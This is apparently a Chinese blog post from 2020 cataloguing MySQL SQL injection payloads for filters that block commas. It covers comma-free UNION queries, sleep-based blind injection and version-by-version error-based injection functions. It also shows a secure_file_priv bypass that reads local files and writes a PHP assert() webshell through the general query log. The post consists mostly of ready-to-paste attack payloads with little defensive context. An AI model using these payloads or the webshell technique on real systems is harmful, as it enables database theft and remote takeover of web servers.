Mysql 不能使用逗号的情况

不存在逗号的情况:

联合查询:

1.UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e) 

盲注:

1.select user,password from user where user='' and (sleep(length(user())=14));

   select user,password from user where user='' and  (sleep(ascii(mid(user()from(1)for(1)))=114));

   这是第一种,直接执行sleep()函数,但是没办法控制延迟时间,固定为sleep(true) == sleep(1),当网络存在波动的时候,可能会误判。

2.select user,password from user where user='' and (select case when (length(user())=14) then sleep(5) else 0 end);

   select user,password from user where user='' and (select case when (substring((select user()) from(1)for(1))='o') then sleep(5) else 0 end);

   这是第二种,case when关键字,代替 if 语句。

   substring((select user()),1,2) == substring((select user()) from(1)for(2)) :from(1)表示从第一个位置开始,for(2)表示截取两个字符。P.S: mid函数同理。

   substring((select user()) from-10) :也可以这样写,表示截取最后10位字符。这可以配合regexp使用正则来使用:substring(user() from-10) regexp '.*host'

报错注入:

测试的数据库版本为:5.0.96-community,5.1.60-community,5.5.29,5.5.53,5.7.26

5.0.96-community下:

@@secure_file_priv 为 NULL,默认不影响读,写文件等操作。

只有 floor( 函数的报错语句可以使用,但是该语句必须要 逗号 。

5.1.60-community下:

@@secure_file_priv 为 NULL,默认不影响 读,写文件等操作。

1.extractValue,updateXML 这两个函数可以开始使用了,具体Mysql版本:>=5.1.5即可使用,但是也必须使用逗号。

  注:该函数每次查询的数据只有32个字符,可以配合substr函数使用。

2.floor导致的报错可以使用。

3.geometrycollection()、multiponint()、polygon()、multipolygon()、linestring()、multilinestring()等函数都可以使用,并且不需要逗号

4.exp函数导致的报错,不能使用。

5.5.29:

@@secure_file_priv 为 NULL,默认不影响 读,写文件等操作。

1.extractValue,updateXML,floor,都可以使用,但是需要逗号。

2..geometrycollection()、multiponint()、polygon()、multipolygon()、linestring()、multilinestring(),exp() 都可以使用,不需要逗号。

5.5.53

@@secure_file_priv 为 NULL,默认 影响 读,写文件等操作。

绕过secure_file_priv 限制进行读写文件:

读文件:
CREATE TABLE `tmp` (`tmp` TEXT NOT NULL );
load data local infile 'D:/5529.txt' into table tmp;   成功将文件内容写入tmp表。
写文件:
set global general_log='on';
SET global general_log_file='D:/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';

需要能执行多语句。

1.geometrycollection()、multiponint()、polygon()、multipolygon()、linestring()、multilinestring(),exp()等关键字的报错语句全部失败。

2.extractValue,updateXML,floor,都可以使用,但是需要逗号。

5.7.26

@@secure_file_priv 为 NULL,默认 影响 读,写文件等操作。

绕过secure_file_priv 限制进行读写文件,利用如上5.5.53。

1.geometrycollection()、multiponint()、polygon()、multipolygon()、linestring()、multilinestring(),exp()等关键字的报错语句全部失败。

2.extractValue,updateXML,都可以使用,但是需要逗号。

3.新增的报错语句:select ST_LatFromGeoHash(user());select ST_LongFromGeoHash(user());select ST_PointFromGeoHash(user(),1);select GTID_SUBSET(user(),1);

4.floor的报错语句,在5.7版本中与之前的有一些不一样。也就是使用 and 还是 or 连接符的结果不一样。也就是:

(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) 必须要能执行。见图:

 

 

文章持续更新...

posted @ 2020-04-05 20:45  xiaozhiru  阅读(477)  评论(0编辑  收藏  举报